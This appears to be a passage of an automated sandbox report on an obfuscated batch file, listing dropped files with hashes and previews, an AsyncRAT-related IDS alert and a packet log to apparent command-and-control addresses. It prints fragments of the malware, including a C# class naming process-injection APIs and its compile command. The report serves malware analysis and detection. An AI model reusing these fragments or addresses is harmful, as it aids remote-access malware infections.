Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1124874282305277
Encrypted:	false
SSDEEP:	6:kKoi9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:AdDnLNkPlE99SNxAhUe/3
MD5:	7F83DB7C12EECE439865F43B4377B1F6
SHA1:	ECD1ECC996158CBA0F0A30DBE44DE3558F380EA0
SHA-256:	0642630986CF978F64B654670B4D083B9651508DF38A5811BC0211395871BDC7
SHA-512:	A31E1A8ABFD80D53F4344DD105033554ACB47B8FBD2A79B312E036CC9E26B528B0C7EA8FDBABA07EC104E8CA1EF9A98B126FFD9FC0ABA6A88DFE04EA8F9BE598
Malicious:	false
Preview:	p...... ..........92"\..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2836
Entropy (8bit):	5.415312770510031
Encrypted:	false
SSDEEP:	48:5AzsSU4y4RQmFoUeCamfm9qr9t5/78NRHqGxJZKaVEouYAgwd64rHLjtvP:5AzlHyIFKL2O9qrh7KRrJ5Eo9AdrxP
MD5:	63596859A09BEB22A7BE3F129D3E8C64
SHA1:	D1219D751F613A2AD3E5CFD5DE8E0358918022CF
SHA-256:	84EDB310C9FA44D3958F1B32DB8DF3CFC5DC47F782B3232043F1247D058A7E8C
SHA-512:	5197FABE3AA6353AC70DA26557B33D450329744AF0C5989948850724A38A342741066FBEA8A8BE531666804030381F60A6FE07BD63F7F8C17D9E9444CF242587
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\RESDC68.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Wed Jan 1 09:48:20 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.980628261603595
Encrypted:	false
SSDEEP:	24:HzK9oVaxHYIAtbaHCwKKjmNII+ycuZhNnGakSUXPNnqSed:TIx4i5KMmu1ulGa3CqS+
MD5:	39601DDD3568FBA9F33DE1ACA6B9F424
SHA1:	AB81CEF7B0F701CFE98F64D1625442A694ECC0FF
SHA-256:	095CE6097EA89C8F09FDD242537C767017721439DB43DDC3DBF3E7DEEBC308AD
SHA-512:	D3FFB1F596AE3702E318A714FCED425B44BD85073A00075FBCF0C9F392C04F68898CC0154CCF62EA7D32AB5AADDFB0C735DFE7D895A6A95A29F0CBCEF3A86F72
Malicious:	false
Preview:	L...d.ug.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP...................@HNOu.....?...........7.......C:\Users\user\AppData\Local\Temp\RESDC68.tmp.-.<....................a..Microsoft (R) CVTRES.a.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.b.e.m.n.i.v.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2be0pw23.oxp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uodth2aj.zms.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0916253525725264
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryFGak7YnqqUXPN5Dlq5J:+RI+ycuZhNnGakSUXPNnqX
MD5:	08FAF240484E4F75CCDE1E881D3FE182
SHA1:	7F8516D34ED8A8E0264E9CC8A86B022EC2FC1527
SHA-256:	527A08776679ADD07590EAB4663DE2E4E7A98445263BECAE9A9D22CB62DE476D
SHA-512:	E6808B1D05AEC3D54053A5439D04BD85E7C6ABFDF763FAD78D9D4A177256AB811A502F1A85246CA09B1E4A19093FA6EB475EB276BA6655502D01A3C69F03C0E1
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.b.e.m.n.i.v.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...v.b.e.m.n.i.v.w...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.546700076718714
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6PT:2oYLoH97t/Z7pgjvzf5uT
MD5:	B5C3A2D03FF4C721192716F326C77DEA
SHA1:	6B754FD988CA58865674B711ABA76D3C6B2C5693
SHA-256:	AB42FE5FD08CB87663E130F99F96124FDD37D825D081B9712B0BAD8B6F270FAC
SHA-512:	D32E5A98C12B6B85D1913555EA54F837CD0FC647CA945AEF9D75FFADE06506BE1F4A2348827F11C4EEAE0796E4156C8F352E3C0F9A6E2CDC93CB501BCDF2C248
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	4.980459441618207
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2N723fCIZx0zxszIN723fCIZDHn:p37L/6K2aaIP0taaI5n
MD5:	D08D61B7C6F6266F8037E1E2C5A6E4E8
SHA1:	E8D8CF9C4385C5595C5B52001B7D3F697372068E
SHA-256:	1DD271458FD7056497C0189FED7B1516892D334A7CDA85FB0F5928D23FE3DA3A
SHA-512:	172A950F341935C13C9C7156E464AAD26D85617FF8D8548774C55086FDAA1BE54593E392CC53DA7DAA6C63663D1C3B4762172DF22324D12CF1B4564509030444
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.0.cs"

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.627568086877329
Encrypted:	false
SSDEEP:	192:ARH6HN4QhfNQ8q8888yYAdTRjOaKUxRa95MqBYv+eN45W:DNxNT9ON+a95MqgS5W
MD5:	A12FD12BE0BF620EC7ECA328269F4627
SHA1:	179461E72939AAE47EA90AAF5AA53AF1D8B0F4B0
SHA-256:	FF16FA44408EBD50655619F6DC13E451EC904F92783D407F7B3B661B06B53249
SHA-512:	B017A25AFFC35754A15EC182B50969B24A26EAB8A5A60FB8A4E190ED6282AA36E5CF083A9C0F85146AA5BD14339D0D0ABAED78448D749E9AEF82C204EF7945BE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...d.ug...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	713
Entropy (8bit):	5.20928288546897
Encrypted:	false
SSDEEP:	12:KO2z/IR37L/6K2aaIP0taaI5uKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuIdn6K2a8aduKax5DqBVKVrdFAMBJj
MD5:	42602583855A6D16EFE23DEA735C145E
SHA1:	0078124F24C4D6ABEFDF2E355E43582E6CAEA0A5
SHA-256:	99FDD3533521541B4D46B6B7F6F1035CAD154E30C16CF73E269EAFB21C0589BE
SHA-512:	A31CBB3BCB0361086975A1E521023E66B92BD368C35DF460C325E373AFDCC0E7DA619192B1DEA8065FD1404C40EBFC661D601A2DD3594BC00B1CD1BA21004599
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (672), with CRLF line terminators
Entropy (8bit):	3.658140003339631
TrID:
File name:	gqub.bat
File size:	3'495 bytes
MD5:	bb445d197063475c8d78de4f0825753c
SHA1:	158a8e3b278affe7c1185aad67683e4253cf53dd
SHA256:	7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10
SHA512:	173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307
SSDEEP:	24:wuuFrLntq+ojZlhiF5ovWUiF5l4T6n9HFECs+//t0nuMXvaaHisT0o0r:wRv0lhYivVYwy9/2u8PxS
TLSH:	A1717C02E06DC3F4A244687CF5C831D79B6EFDE35A97FBA049B8C4B4B540C5AE058970
File Content Preview:	@%........%e%........%c%........%h%........%o%........% %........%o%........%f%........%f%........%..s%........%e%........%t%........%l%........%o%........%c%........%a%........%l%........%....s%........%e%........%t%........% %........%"%........%u%.....

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T08:53:07.800289+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.177	4449	192.168.2.6	49702	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 08:52:56.070027113 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:56.074944019 CET	80	49699	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:56.075032949 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:56.075370073 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:56.080193043 CET	80	49699	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:56.700095892 CET	80	49699	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:56.700115919 CET	80	49699	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:56.700366020 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:56.700579882 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:56.706935883 CET	80	49699	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:56.706994057 CET	49699	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:59.485850096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:59.490603924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:52:59.490734100 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:59.490973949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:52:59.495688915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112409115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112428904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112437010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112483025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.112534046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112545013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112550974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112560034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112591028 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.112622023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.112632990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112644911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112683058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.112699032 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.112726927 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.117355108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.117373943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.117383957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.117415905 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.164033890 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.199367046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199388981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199400902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199413061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199424028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199470997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.199523926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.199681044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199727058 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.199732065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199743986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199783087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.199826956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199840069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.199882030 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.200643063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.200654030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.200664997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.200697899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.201100111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.201111078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.201124907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.201148987 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.201178074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.201242924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.201252937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.201289892 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.201941013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.242146015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.706624985 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.711642981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884116888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884207964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884218931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884231091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884248972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884260893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884268999 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.884314060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.884345055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884506941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884552956 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.884608984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884640932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884653091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884692907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.884857893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884867907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884879112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884885073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.884907007 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.884939909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.885560989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.885571957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.885582924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.885611057 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.885622978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.885698080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.885710001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.885756016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.970781088 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.970907927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.970917940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.970927000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.970933914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.970994949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971004963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971014023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971076965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971076965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971076965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971477032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971488953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971535921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971560955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971681118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971692085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971735954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971920967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971930981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971940994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.971973896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.971986055 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972059011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972069025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972083092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972109079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972476959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972493887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972503901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972527981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972543001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972680092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972691059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972702980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972714901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.972733021 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972748995 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.972809076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973368883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973387957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973398924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973417044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.973443031 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.973608971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973618984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973628998 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.973639965 CET	80	49700	147.45.44.131	192.168.2.6
